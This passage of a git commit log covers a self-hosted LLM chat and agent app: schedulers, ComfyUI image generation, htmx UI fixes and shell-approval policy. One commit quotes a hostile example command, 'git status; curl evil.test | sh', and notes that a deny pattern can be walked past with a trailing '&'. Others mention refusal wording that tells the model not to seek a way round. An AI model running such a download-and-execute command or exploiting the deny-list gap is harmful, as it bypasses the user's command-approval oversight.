as a decision: "a scheduler is a whole new concern for a single-worker
application". This is that concern, taken on deliberately, plus the two places
its output goes.
Reports first, because it is useful with no scheduling at all. A report is not a
Chat with one Message in it: it has no turns and no reply, it is read top to
bottom, and it must be writable with no chat behind it -- being the fallback for
a run whose own chat has gone. As a Chat it would need a sidebar row per daily
report, a title that regenerates itself, a composer to suppress and a bubble with
a rewind button around something that is not a turn. The section's character is
enforced by absence: nothing under reports/ includes the composer or renders
chat/_message.html, so there is no sse-connect anywhere and nothing on those
pages *can* start a generation. The test reads that off the OpenAPI schema, not
by walking app.routes -- this FastAPI keeps an included router wrapped rather
than flattening it, so the walk finds nothing and the assertion passes for the
wrong reason.
rule.py is pure, total, and was finished before anything called it. No session,
no wall clock, nothing that raises: validate clamps what it recognises, drops
what it does not, and answers {} for prose -- at which point the caller shows the
manual form. It had to be that way because the compile step's output is model
output that becomes a *timer*, which is the sharpest case of hard rule 6 here.
The invariant, pinned: anything validate accepts has a computable next
occurrence. A schedule that can never fire looks exactly like a working one on
every screen it appears on.
Wall-clock and elapsed time are kept apart because they mean different things.
at.times are wall-clock in the owner's zone, so 15:00 stays 15:00 across a
daylight-saving change -- that is what "every Monday at 3PM" means. every is
elapsed real time, so six hours stays six hours across a 23- or 25-hour day --
that is what a timer means. Conflating them gets one of the two wrong twice a
year. A time inside the spring-forward gap fires at the first minute that exists;
left to zoneinfo's own resolution it lands an hour away wearing a wall-clock time
that did not happen, and a daily 02:30 report vanishing once a year on a machine
nobody watches is the failure this file is arranged around.
The ticker claims and commits *before* it fires. The other order is a hot loop: a
firing that raises is retried every tick for ever against whatever it was that
failed, and the only symptom is load. Its blanket except is copied from the
terminal reaper for a sharper reason -- a ticker that dies on one bad row stops
every schedule on the instance and says nothing at all. No request fails, no
reply errors, no dot appears. The reports simply stop.
Three rules that look like bugs from outside: a firing arriving while the chat is
still answering queues rather than starting a second reply, and past max_queued
is skipped with the reason on the row; Run now does not advance next_fire_at, or
testing a schedule silently consumes the run it was testing; resuming recomputes
from now, or a schedule paused for a month fires the instant it comes back, once
per occurrence it missed. Catching up lives in the sweep and not in a startup
hook, because a suspended host and a long stall reproduce "its time passed while
nothing was running" with no restart to hang one on.
services/wake.py is the lock discipline extracted rather than copied. A finished
job and a due schedule are the same problem, and both depend on there being no
await between the running_for check and the writes; two lock dictionaries for one
invariant is how one of them drifts. jobs.wake is now a caller that supplies
wording, and _completion_text stayed exactly where it was because tool.background
quotes its opening sentence.
A scheduled run has no reader, so ask_user is withdrawn from resolve_tools rather
than merely discouraged in core.unattended -- a rule living only in a system
message is one a page the model just read can argue with, and a parked question
holds the reply for the whole approval_timeout with nobody to answer it. For the
same reason a task chat may not be an agent chat in v1: Manual, Edit and Plan all
stop to ask on RISK_EXECUTE, so the only two outcomes would be unattended
execution and a reply that stalls. That deserves its own pass.
Messages is bounded in the request and unbounded on disk. Only the latest chunk
is sent; everything else stays exactly where it was written. Nothing is folded
into text and nothing is deleted -- the visible conversation is identical either
way, so destroying the older rows would buy only disk, against being irreversible
and losing every attachment and tool call in the range, and it would contradict
the rule compaction already holds. should_compact refuses this kind for the
matching reason: two mechanisms narrowing one transcript is how a summary ends up
summarising a summary. The history route is the mirror of thread_tail and keeps
its four properties; the fifth is its own, that prepending moves the scroll
position, so app.js records scrollHeight before the swap and adds the difference
back after.
An empty Chat.kind meant "both sides of the switch" and had been read as "no
filter" since there were only two of them. The sidebar passes "" precisely when
agent chats are switched off -- so the moment a third kind existed, every task
chat and every Messages conversation appeared in somebody's ordinary chat list,
on exactly the instances whose owners would never think to look. KINDS stays the
two-sided fork, because set_sidebar_kind validates against it and a third entry
there makes the tree filterable to a side with no button to leave it; ALL_KINDS
is what a row may be. Both narrowings are pinned, because they are two
implementations of one rule and only one of them is SQL.
Per-user timezone had to exist for any of this: harness.py:179 was telling every
reader the *server's* idea of the date, which is survivable while the answer is
prose and stops being survivable the moment somebody says "every Monday at 3" and
something has to work out when that is.
Three things were caught by a test being wrong rather than by the code being
wrong. The task-chat "no composer" assertions were passing against a page
rendering its no-models-configured branch. A permission test asserted the same
thing twice because the administrator bypasses every permission. And every
Messages test passed with default_model never called, because none of them
configured a model -- so the pair it returns was being assigned straight to
model_id, and SQLite refuses a tuple in a String column. The fixtures now say why
they exist.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
|
||
|
|
60e7d0d599 |
Say what actually failed, and tell the model how to use the thing
Two problems, both found by looking rather than by guessing. ComfyUI writes its history entry in task_done and nowhere else, so the entry appearing IS "finished" -- but it sets completed=e.success, which means an out-of-memory, a cancelled job and a broken node all stay completed:false for ever. await_images waited on that flag. So every failure sat for the full 600s timeout and then reported a timeout, when ComfyUI had known within one second and written down the node, the exception type and the message. Proved by causing both against the real instance: an OOM now raises in 1.0s and an interrupt in 4.0s, each naming the node. The terminal condition is a record with a status, and status.messages is read for the last execution_error or execution_interrupted. OutOfMemory and Interrupted are their own classes because they are the two failures with an obvious next move: the first tells the model to retry at a named smaller size -- worked out from what it actually asked for, since "use a lower resolution" against a request that was already 512x512 is advice nobody can follow -- or with a lighter checkpoint; the second says somebody pressed stop, so do not simply start again. Everything else gets the reason and no advice, because a model told to try again after a broken workflow tries the identical thing. The OOM message is cut to its first sentence. The rest is allocator advice -- PYTORCH_CUDA_ALLOC_CONF, fragmentation notes -- addressed to whoever runs the box and meaningless to a model, in a tool result that is already a failure. Second: the parameters were described in the register of a reference table, and "cfg: prompt adherence, default 8" tells a model nothing it can act on. Measured on a 4B model, same request, same everything else: with the old wording it sent prompt and template and nothing more -- so 512x512 on an SDXL checkpoint, which is exactly the duplicated-limbs failure the width description now warns about. With descriptions that say what each value does to the picture and when to move it, the same model sent a portrait 1024x1536 and a deliberate sampler. ~3KB of schema per request in a chat that can draw, and the difference between having ten parameters and having one. docs/image-generation-instructions.md is the long version for the admin instructions box, for models that need more than the harness can afford to carry on every request in every chat. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
ca7eb6cedb |
A seed of -1 means random, as it does everywhere else
Omitting the seed was already random. Passing -1 was not: it went through the uint64 wrap and arrived as 18446744073709551615, which is a perfectly valid *fixed* seed -- so "give me something new" returned the identical picture every time, silently, and the retry loop would have redrawn the same rejected image until it ran out of attempts. -1 is what ComfyUI's own interface uses for random, and A1111, and everything else that has ever asked somebody for a seed. A model that has read any of them will write it, so the one reading that had to work was the one that did not. Any negative value, not only -1, because the sentinel is the *idea* rather than the number and a model that writes -2 means the same thing. Zero stays a real seed: it is the boundary this change could easily have swallowed, and it is one somebody deliberately picks. Confirmed against the real ComfyUI: -1 now sends a random uint64 that it accepts and draws from. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
5e75948069 |
Draw a picture, on a ComfyUI you are running
The last unbuilt capability, and built the way CLAUDE.md said it had to be: a
ToolDef reaching resolve_tools plus a permission and a capability flag, not a new
code path. The only genuinely new UI is one branch in the transcript.
services/images/ is three modules. comfy.py speaks HTTP -- submit, poll /history,
fetch the PNG, /free, and an /object_info discovery for the admin page only.
Polled and not socketed, because holding a connection open for the length of a
generation is the live-connection state the whole ssh.py design forbids, and the
thing being waited for takes tens of seconds anyway. The base URL is exempt from
the SSRF guard by construction, exactly as Connection.base_url and the audio
endpoints are -- said out loud in the docstring, because a default of
127.0.0.1:8188 is precisely the shape that guard exists to refuse and therefore
reads as a hole rather than a decision.
workflow.py fills a template, and the one thing that matters is that it walks the
parsed JSON rather than the text of it. A value that is exactly "{{steps}}"
becomes the number 20; ComfyUI validates types and refuses the string. A
placeholder inside a longer string is still text, which is what makes
"{{prompt}}, masterpiece" work -- and text substitution would additionally mean a
prompt containing a quotation mark produced a document that no longer parses, on
the one input guaranteed to hold arbitrary text. Which node holds the prompt is
the administrator's statement rather than a guess from node types: sniffing for
the first CLIPTextEncode works on the shipped workflow and on nothing else, and
swaps positive for negative the first time somebody reorders them. seed has no
fixed default, because one would make every unspecified generation identical and
make the retry loop redraw the same rejected picture four times.
tool.py is one call, one finished image. Returning every attempt to the
conversation would cost a round each, make the ceiling advisory rather than
enforced, and walk the reader past every reject -- so the reviewer lives inside
the tool and is asked about *bytes*: an attempt about to be discarded should not
leave an Attachment behind, so it sees a downscaled preview built in memory and
only the kept image is written. Anything that goes wrong in review is a keep;
losing a picture because a judging request timed out would be the check
destroying the thing it was checking. The last attempt is kept whatever the
verdict, so a request always produces something. Rejects are recorded, not
stored.
Preserve VRAM unloads the chat's own connection and nothing else, because the
memory being freed belongs to one machine: local llama-swap answers GET /unload,
and a box on the network has no reason to be unloaded when ComfyUI wants memory
here. The swap goes round the review rather than round the tool, which costs two
model loads per retry -- so the two settings are independent and the page warns
when both are on. Nothing loads the LLM back: the reply's next request does, and
that step exists in the description and not in the code, so the code says so.
Two rules elsewhere had to be drawn for the first time. message_payload sends
images only on user turns -- no assistant message had ever carried one, and the
moment one does the multimodal list form on an assistant turn is rejected by
OpenAI and most local runners, breaking every later turn in the chat. And
files.store gained keep_original, because _process_image turns anything without
alpha into JPEG q85 at 1400px: right for a phone photo, a visible loss on the one
output this feature exists to produce.
/image sends the ordinary message with force_tool, which becomes tool_choice for
the first round only -- left in place the reply would draw a picture, be asked
again, and draw another. FORCEABLE_TOOLS is an allow list because the name is
read off a form.
ToolContext gained chat_id, and that fixed a tool nobody had ever successfully
run: _run_scratch_write read context.chat_id on a dataclass with no such field,
so every call raised AttributeError, swallowed by run_tool's blanket except into
"the scratch_write tool failed" -- indistinguishable from a model calling it
wrongly. The test that existed asserted the family and the risk, which are
properties of the declaration rather than of the code.
Verified against the real ComfyUI 0.27.0 on this machine rather than against
documentation: every endpoint shape here was read off it, a generation ran end to
end through the client, the reviewer was shown a matching and a mismatched prompt
and answered KEEP and RETRY correctly, and the unload hook fired for the local
llama-swap and not for the remote box.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
|
||
|
|
f4bf1bf670 |
Refusing can say why, and the why is an instruction
"Don't" told the model it was refused and nothing else, so it did the one sensible thing left and asked what you would rather -- a whole round spent on something you knew when you pressed the button. "Give reason" opens a box beside it, and what you write goes back with the refusal. The reason changes what the model is *told*, not only what it reads, and that is the whole of the feature. `_not_allowed` branches: given nothing to go on, "say what you were going to do and ask what they would prefer" is right; given a reason it is exactly wrong, because the answer is already on the screen above and the model spends a round asking for it again. So it is pointed at the reason and told to carry on from it. The "do not look for a way round" half is kept either way -- that half is about the refusal and holds regardless. A card-level field rather than `text.<key>`. One card covers everything in the round for the reason the primitive exists, so one reason answers the round; and on an approval card `text.<key>` already means a corrected command, which is a different thing arriving in the same shape. Read only on a refusal, so a reason typed and then abandoned by pressing Allow cannot travel with a permission. Bounded where the Reply is built, so nothing downstream thinks about length, and put on the tool event as well as in the result -- a transcript saying a step was refused without saying why is one you had to have been watching to understand. It is also the one thing in a tool result that is genuinely not untrusted: the reader's own words, stated as theirs, needing no fence. Both halves of the control are in the DOM with one hidden and the textarea disabled while hidden, which is the rule the edit box beside it already states: a field created by a click submits nothing when the click handler fails, and an empty `reason` arriving would have to be told from one somebody cleared. The version bump is not incidental. chat.css changed and the service worker caches it under a name keyed on the version, so without it the first reload serves the old stylesheet. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
ab4ffa2e5a |
Bump the version, because the service worker is keyed on it
The worker caches static assets stale-while-revalidate and names its cache after the version in `/sw.js?v=`, deleting every cache that is not the current one. So without a bump the first reload after a release serves the previous app.js and chat.css and only the second gets the new ones -- which for this release is a transcript that does not refresh itself and a jobs panel that still runs into its own border, i.e. exactly the symptoms it fixes, on the reload somebody makes to check. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
e9fab9d858 |
A job that finishes reaches the page you are looking at
Three complaints, all downstream of background commands.
A finished job woke the model and not the browser. `jobs.wake` writes the
completion and calls `generation.ensure`, and nothing tells the page: the only
stream here is per-message, opened by the `sse-connect` on an incomplete
assistant bubble -- which is a bubble this page has not got, because the reply
that created it began somewhere else. `_queue_frames` proves the swap works and
can only ride a stream already open. So the reader sat on the chat, watched the
sidebar dot light up for the chat in front of them, and had to click it or
reload to see a reply that had been there for minutes.
`GET /api/chats/{id}/tail?after=` and a five-second poller is the answer, polled
for the reason `/unread` is: a second always-on connection per tab is a lot of
machinery for something that happens a few times a day. A cursor it cannot place
-- absent, from another chat, naming a row a rewind deleted -- is answered with
204 and never with the transcript, which the page still holds every bubble of.
The cut is read from the row so `_inject`'s restamp moves it too, and compared in
SQL, a row read back from SQLite being naive where one still in the session is
aware; the `id >` tie-break is not decoration, since under a bare `>` a row
sharing the cut's microsecond is skipped for ever.
The cursor comes from the DOM, because the DOM is the honest answer to what the
page has -- the composer's POST, the `done` frame and the last poll all move it,
and a variable would have to be updated by each of them, correctly, for ever. On
`htmx:configRequest` rather than `hx-vals="js:…"`: two of the three things that
handler does are cancellations, which `hx-vals` cannot express. Not
`article.msg:last-of-type` either -- that is per-parent, so on a compacted chat
it answers with the last article inside the `<details>` and the poll re-appends
half the conversation. It is silent while a reply streams, since that reply
delivers its own bubbles in the one frame that can get the order right, and a
`htmx:beforeSwap` listener drops any answer holding a bubble already on the page:
the race `hx-sync` cannot reach, and a duplicate there is a second `sse-connect`
for one message rather than a cosmetic one. The route clears `unread` on every
tick including the 204, because `_persist` marks a reply unread whenever
`followers == 0` and that is true of a job-woken reply with somebody watching it.
The completion also claimed the reader had sent it. The role is load-bearing --
`_inject` sends a queued turn verbatim and `build_messages` must keep seeing a
user turn -- so `Message.machine` marks the bubble instead and the request is
untouched. Their initial, their name and a pencil offering to rewrite what a
machine reported: the route refuses the edit too, a hidden button being a
courtesy. `_completion_text` is deliberately unchanged, `tool.background` quoting
its opening sentence to the model, and there is now a test holding the two
together.
And the panel. `.jobs__row` had no horizontal padding while `.picker__menu` has
none either, so every row ran flush into the border under a header inset by
--sp-3. `jobs__row--open` had been emitted since the panel shipped with no rule
anywhere, so the row whose log was on screen looked like the ones that were not.
The dot was keyed on `status`, and `done` is exit 0 and exit 2 alike -- green
beside the row's own "Failed, exit 2" -- so `JobView.tone` answers the colour and
the template goes on answering the wording, which is the half a class name cannot
carry. `duration` is empty for a running job on purpose: this panel is fetched
when somebody opens it and never polled, so a live figure would freeze the
instant it painted. Its stamps are normalised before subtracting, a job started
before a restart and finished after it having one naive and one aware.
Driven under the DOM stub before committing, per the standing rule: two listeners
on document.body for events dispatched at a requesting element are exactly the
shape a regex cannot check.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
|
||
|
|
4643d1b584 |
Look around the machine before deciding to talk about it
The terminal and the canvas both needed a Chat, so they were missing from the one screen where you are choosing which machine to work on. A draft is the smallest thing that fixes it: an id, and the three facts behind it. The trick is that a draft resolves to a *transient* Chat -- constructed, never added to a session. `canvas.agent_ready`, `_executor`, `_load_agent`, `_save_agent` and `agent_session.resolve` read exactly four attributes between them and none of them queries or writes the row, so all of it works unchanged and nothing had to learn what a draft is. Proven against a real sshd rather than a stub: a transient chat opens and saves a project file over the same SFTP path a real one uses, and the database stays empty throughout. Chats are still created lazily. A draft is not a chat and never becomes one; when the first prompt makes the real one, the shell is re-keyed into it and the open tabs are copied across. `terminal.rekey` moves the registry key *and* `session.chat_id`, because close_for_profile, close_for_owner and the reaper all pop by the field -- a stale one would leave a dead session that `get` keeps handing out. The shell is only adopted when its profile and directory match the chat as finally resolved, since `_new_chat` settles an empty directory to the connection's own; otherwise it is left alone rather than transplanted onto a chat that says it runs elsewhere. Two canvas sources are refused on a draft, by name, and one of them is a hole rather than an inconvenience. `_load_file` authorises with `attachment.chat_id != chat.id`, and an upload made on the new-chat screen is stored with `chat_id=None` -- so a draft whose chat carried no id would make that comparison `None != None`, which is False, and open every unclaimed attachment its owner has. `as_chat` does set an id, so it already fails; the refusal is stated anyway, because a guarantee that lives in an id-shaped coincidence is one the next change breaks without noticing. Adoption needed almost no JavaScript: start_chat already answers with HX-Redirect, so the page reloads and the canvas adopts by construction while the terminal reconnects to the re-keyed session and replays its scrollback -- the "a reload is indistinguishable from a second tab" property working for us. What re-points them mid-screen is a `lembas:agent-target` event, dispatched from `setDir` and the connection select because assigning to a hidden field's value fires nothing on its own. Driven under a DOM stub before committing. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
fe43e95b79 |
A thinking block that says how long and how much
Each block reports its own round now. `reasoning_ms` was the reply's first burst, written once, so on the fifteen-block reply GPT-OSS actually produces only the first could claim a duration and the other fourteen said "Thought" and nothing at all. `Generation.thinking_ms` accumulates per round and `close_step` stamps it cumulatively, so steps.py diffs it exactly as it already diffs the three lengths beside it. The interval between a round's first and last reasoning delta, deliberately, not a sum of gaps between deltas -- that would count the network's latency as the model's thinking. While it runs: "Thinking" with an ellipsis that types itself, and the seconds and tokens climbing beside it. The ellipsis is a `content` keyframe, so there is no timer to start, stop or clean up when the block is swapped away -- it stops existing when the element does. The numbers come from a `think` frame, and `round_thinking_ms` is written by the producer rather than computed by the follower from a start time: a model that has stopped thinking and moved on to a tool should show a settled number, not a clock that keeps running. Tokens read exactly up to 200 and as `0.4k` above it, from one helper shared by the live label and the stored one, so the two cannot drift into two conventions. The live duration is terser than the finished one -- `6s` against `6 seconds` -- because it sits beside an animating word and changes every second, where "less than a second" flickering into "1 second" reads as a glitch. Checked against the real endpoint: fourteen marks carrying 919ms through 14223ms, per-block labels from "less than a second · 111" to "4 seconds · 0.5k", and the live frames resetting each round rather than accumulating. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
e107b5069d |
A form's handler answers its own request, and a finished reply is finished
Two regressions, one of them much older than it looked. htmx events bubble, and the composer's form declares `hx-on::after-request` so it can clear itself after sending. Six things inside that form make requests -- the two scope switches, "ask me about these again", the agent mode select, the effort select, and the jobs chip -- and every one of their afterRequest events was reaching that handler. So changing the mode, or the effort, or toggling a tool called `this.reset()` on a composer somebody was typing in and dragged the view to the bottom. That has been true for as long as those controls have existed. The jobs chip did not introduce it; it polls, so it made it happen every five seconds, and that is the only reason it was ever noticed. `event.target === this` is the whole fix, and it is what the attribute always meant. Moving the chip out of the form would have left the other five. The second: `steps.for_message` marked its trailing prose step as still being written, so every finished reply ending in prose carried `msg__body--live` and blinked a caret at the reader for ever. One flag was doing two jobs -- emit the tail, and mark it live -- and a stored reply wants the first without the second. They are separate arguments now. Note what the existing test for that did: it asserted the caret was on the *right* step, through `for_message`, and passed. It never asked whether a finished reply should have one at all. It is driven through the live path now, and the stored path has its own assertion. The composer handler is driven under a DOM stub -- extract the body from the template, fire the event from a descendant and from the form -- because a source assertion can only say the guard is present, not what it does. Checked against the bug before being kept: without the guard the stub reports the text wiped and the thread scrolled. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
df2d5cc877 |
The jobs chip was replacing the whole transcript
This is the blank agent chat, and it was not the transcript rewrite at all.
`hx-target` is inherited. The composer's form carries `hx-target="#thread"`
with `hx-swap="beforeend"`, which is what makes a sent message append a bubble.
The background-jobs chip I added last commit sits inside that form and declared
`hx-swap="outerHTML"` and nothing else -- which reads as "replace yourself" and
resolved, through the form, to "replace #thread with yourself". On load, and
then again every five seconds.
So an agent chat rendered its reply and then went blank, the reader's own prompt
along with it, because the entire transcript had been swapped out for a chip
that renders empty when no jobs are running. Only agent chats, because that is
the only place the chip exists. The server logged nothing, because nothing there
had gone wrong: every page render, every SSE frame and every stored row was
correct throughout, which is why four rounds of looking at the server found
nothing.
Both the chip and the element that loads it now carry `hx-target="this"`, and
`tests/test_chat.py` walks the composer's form and refuses anything that fetches
without saying where its answer goes. Checked against the bug before being kept.
Worth being precise about what made it invisible: the markup was correct. There
is nothing wrong with `hx-swap="outerHTML"` on an element with no target -- it
means "swap yourself" right up until an ancestor disagrees. It is the same
family as the trigger bound where the event does not go, and the same lesson:
assert the resolved property, not the attributes.
My earlier fix in
|
||
|
|
3065878bd0 |
A question that offers real choices, and says how many you may take
Three things about `ask_user`, all of them about the card being answerable rather than about the tool being callable. Options are required now, and they are objects: a label, and a line of description where the label alone does not say what choosing it would mean. "Rewrite it" and "Patch it" are two words that do not tell you which one loses your uncommitted work. They stack one per line, because a row of chips has nowhere to put the second line and no room to read the first. The model says whether they are exclusive. Only it knows whether its options are alternatives or a set, and the card has to show which -- a radio group offered where checkboxes were meant loses every answer but one. Exclusive is the default, being the cheaper mistake. A `multiple` question posts the same field name once per ticked box, so the endpoint gathers choices into a list; the `setdefault` it did before kept the first and dropped the rest, which is an answer that says something the reader did not. And "Something else" is added here, on every question, with the box behind it revealed by `:has()` and no JavaScript at all. The model is told never to write an "other" option of its own, because its version would be a choice with no box behind it -- a word submitted that means nothing. It carries a sentinel rather than an answer, and the endpoint swaps in what was typed beside it, or drops it when the box was left empty rather than telling the model the answer is "__other__". Typing no longer beats picking. That rule belonged to a box that was always visible next to the options; this one only exists once its own option is chosen, so picking is the answer and the box is one of the things you can pick. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
74a3c0f9d3 |
An sse-swap element must never contain another
An agent reply rendered nothing from its first tool call onwards. An ordinary
chat was fine, and that difference is the whole diagnosis: `#steps-{id}` is
itself an `sse-swap` target, so its innerHTML is replaced every time a round
closes -- and I had put the live `reasoning` and `render` containers *inside*
it. Every round boundary tore out the two elements the next frames were aimed
at, in the same pass that aimed them. An ordinary chat closes no steps, so the
swap never happened and nothing was ever torn out.
The tail moves back out to `_message.html`, as siblings of the steps container.
That removes the trick where the `steps` frame re-emitted the tail empty in
order to clear it, and replaces it with something simpler: `reasoning` and
`render` are now sent on every pass including empty, which is what clears them
when a round closes. Safe here and not before -- they carry the open tail only,
so an empty one means the tail is empty, where the version that carried the
whole reply would have wiped the answer. `steps` is the frame that must never
blank now.
`tests/test_chat.py` walks every template and refuses any `sse-swap` element
inside another; checked against the bug before being kept.
Two things I had left undone and should not have. `.msg__steps` had no styling
at all, so the sequence ran together with nothing separating a paragraph from
the command it led to. And `.msg__body--live:not(:empty) + .msg__waiting .dots`
stopped matching when those two stopped being siblings, so the dots pulsed
beside a finished answer for ever; it is a `:has()` on the bubble now.
The version bump is not cosmetic either: the service worker keys its cache on
it, so without one every browser kept serving the previous release's CSS and JS
against the new markup.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
|
||
|
|
7df68eb44c |
A reply you can read while it is still being written
Seven things, and the thread running through them is that the machinery was right and what a person saw of it was not. Auto asked about every compound command. `policy.subject` refuses to let any pattern match a line carrying a shell metacharacter -- correct, and the whole reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule on top of that asked whenever a deny list existed at all. The shipped deny list is non-empty, so `cd build && make` and `pytest | tail` both stopped for approval in the one mode whose purpose is not stopping. Nobody read that as a security control; they read it as Auto not working. It is gone, and what it costs is written down beside it and under the admin field: a deny pattern can be walked past with a trailing `&`. Matching each segment would restore both. A forty-round agent reply rendered as three zones -- all the thinking, then every tool block, then all the prose -- which is fine at two rounds and unreadable at forty. `Message.steps_json` is a table of contents over the three stores rather than a fourth copy of any of them, so `build_messages`, compaction and titling still see one string. No marks means the old layout, which is what every existing row reads back, with no version flag and no branch in the template. Nothing could be expanded while a reply streamed, and that was two faults. The tool list was replaced wholesale twelve times a second, so an opened block shut itself within 80ms; the ids are stable now and steps.js puts them back, across the final swap as well. And the thread snapped to the bottom on every frame, so a block that did open was scrolled off -- opening one now stops it following until you scroll back down yourself. Both driven under a DOM stub before committing, per the note in CLAUDE.md. The metrics were never wrong, which is why this looked like arithmetic and was not. One chip is what the reply cost and the other is what the conversation occupies; on a multi-round reply those differ by a lot and neither said which it was. What was broken is that they stood still -- usage arrives once a round, and `reported or estimated` stops consulting the estimate the moment the first chunk lands -- and that the `~` marking an estimate vanished at exactly the point everything became one. Interpolated between counts now, never over them. Background jobs had no surface at all. A chip counting what is still running and a panel with each job's command, state, log tail and a Stop button; the fifth exception to "the modes govern the model, not the interface", for the reason the other four are. file_edit had two faults worth more than the error text. A file it could not read was reported to the model as an empty one, and a file too large to read whole was patched and written back by a call that replaces -- deleting everything past the ceiling, silently, and reporting success with a byte count. Both refused now. A refused hunk also prints the file around where it landed, which is most of the retry loop these models get into. And a model can talk itself to a standstill: a round with no tool calls is a model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..." ended the reply having done nothing. `core.commit` is the prompt half and a second nudge signal is the other, narrowed to a long reply that touched nothing so that finishing is never argued with. Also: the scope menu is called Toggle and no longer offers to type an `@` for you, and "Always allow this" says when it has stored nothing rather than appearing to work. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
c0d6056ec4 |
A directory chip that stopped eating the row
The project directory showed its whole path, which on anything real filled the chip's 16rem basis and pushed the Manual/Edit/Auto/Plan select off the end of the composer. It shows the directory's own name now, with the full path in the tooltip -- the leading directories are the part nobody reads, since what you check before sending is that you are in `myproject` rather than `myproject-old`. The hidden field still submits the whole path. Shortening a label must never shorten a value, and there is a test on the row rather than on the markup for exactly that. Three CSS rules hold the row together, and none of them is visible from the markup. `.composer__agent` needed `min-width: 0`: a flex item will not shrink below its content without it, so the group refused to give and the *last* child was what fell off -- which is why the mode select was the thing being cut rather than the path that was too long. `.composer__dir` is capped, being the only child here whose content is unbounded; a connection name and a mode are both short and known. And the mode select is `flex: none`, because it is read and changed constantly and should never be the thing that scrolls out of reach. `baseName` driven under node against ten paths, trailing slashes and `/` included. The topbar's copy of the same path was already capped and truncating, so it is left alone. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
48a66a4037 |
The test count, correctly
1417, not 1419. A number in the working notes that nobody can trust is worse than no number. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
47f2cff640 |
Pinned models that know which side you are on
Reported: a pinned model always opened an ordinary chat, even with Agents selected in the sidebar. They now carry `&kind=agent` with the switch -- a preselection like `?model=` itself, so the new-chat screen still decides and nothing is fixed until the first message is sent. They sit above the tree the switch swaps, so this is the same shape as the New chat button a few commits ago and gets the same treatment: their own partial, arriving out of band. The group is rendered even when nothing is pinned, because a block that vanished when the last model was unpinned would leave that fragment with nowhere to land -- and htmx says nothing at all when a target is missing, which is the silent failure this codebase keeps cataloguing. `.nav-group--pinned:empty` stops the empty one taking room. Chasing it turned up something else. The shortcuts came from `_chat_context`, which only the chat pages build -- so the library, connections, settings and folder pages carried the sidebar without them. A shortcut that is there on one page and gone on the next. They come from `sidebar_context` now, where they belong: it is sidebar content, and it is what the fragment route has. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
7411517ce1 |
Two controls that did nothing, and instructions worth reading
**Switching mode mid-reply did nothing.** The mode was snapshotted when the reply began, so changing to Auto during a long agent reply went on asking about every call until the next turn. The same snapshot held the chat's allow list, which means "Always allow this" was accepted, written to the row, and then ignored for the rest of the reply that had just asked about it -- the same bug, in the quieter place nobody reported. `agent/session.py:refresh` re-reads exactly those two, between rounds and never within one. A round's calls are authorised together, so a switch must not retroactively approve what is already queued -- which is the property the reply-long snapshot was protecting by accident, and the reason this is not simply moved into `_authorise`. It mutates in place, because `as_approved` copies field references and a replacement would leave the round's approved copy pointing at the old context. **The composer's highlighting stayed behind after sending.** htmx fires afterSwap and afterSettle *before* afterRequest, and the composer empties itself from `hx-on::after-request` -- so every repaint ran while the box still held the message. It repaints on afterRequest and on `reset` as well now, deferred a frame: a form's reset event fires before its fields are actually cleared, so reading the value in the same turn paints the text that is about to vanish. Driven under a DOM stub reproducing htmx's real ordering, and confirmed to fail without the fix. **plan_update, audited.** It never said to mark a task `doing`, so the plan only ever showed work already finished, which is the opposite of "what somebody reads to see where you are". It never said several changes fit in one call, so a model spends a round per task. And `done` now means checked rather than written. **New: core.engineering**, an agent-chat fragment about conduct rather than about any language -- run what you write, find the project's own build and test commands rather than guessing, read before editing, change one thing at a time, read the error instead of guessing at a fix, do not broaden an except to make output clean, and say what you did not check. Every line is about the gap between having written something and knowing it works, which is the gap a model closes by asserting. That pushed the shipped harness to within 1,300 characters of its ceiling, where crossing it silently severs the project's own AGENTS.md. The ceiling is 20,000 and the test pins a margin as well as a fit -- the headroom is also where an administrator's own wording goes, and an override is usually longer than the default it replaces. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
2576755f79 |
A title call that could not survive a model that thinks
Reported: chat names never regenerate after the first reply. They were regenerating; the request was being made and the answer thrown away. `complete()` returns `message.content` verbatim, and a model that emits `<think>` inline puts its thinking in exactly the field the title is read from. So the title came back as "<think>Okay, the user wants a short title for" -- or, once the too-long guard caught that, as the first prompt trimmed, which is indistinguishable from titling never having run. That is what was being seen. Underneath it, `max_tokens: 24`. Ample for six words, and nowhere near enough for a model that reasons first: the budget goes on thinking and the content field comes back empty or holding an unclosed tag. Too small is not a shorter title, it is no title at all. Both fixed: the reply goes through `reasoning.strip_reasoning`, and the budget is `TITLE_MAX_TOKENS` with room to think. Reproduced first against the four shapes an endpoint actually answers with -- three of them were broken -- and the tests are written from those. What I did *not* do is ask for a low reasoning effort on the call, which would make it much cheaper and was the obvious move. `reasoning_effort` and `chat_template_kwargs` appear only where somebody has opted in, so that a provider strict about unknown parameters sees exactly the request it always did. An LLMError here is caught and turned into a fallback title -- so a 400 would be titling silently switching itself off, which is the failure this commit exists to fix. The token budget makes the room instead. The shipped prompt now asks for a leading emoji, as requested. Asked for rather than assumed: a model that ignores it gives a title without one, and an administrator who does not want them clears the word. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
9b65adf388 |
A ceiling that was a schedule, and a reply that ended in silence
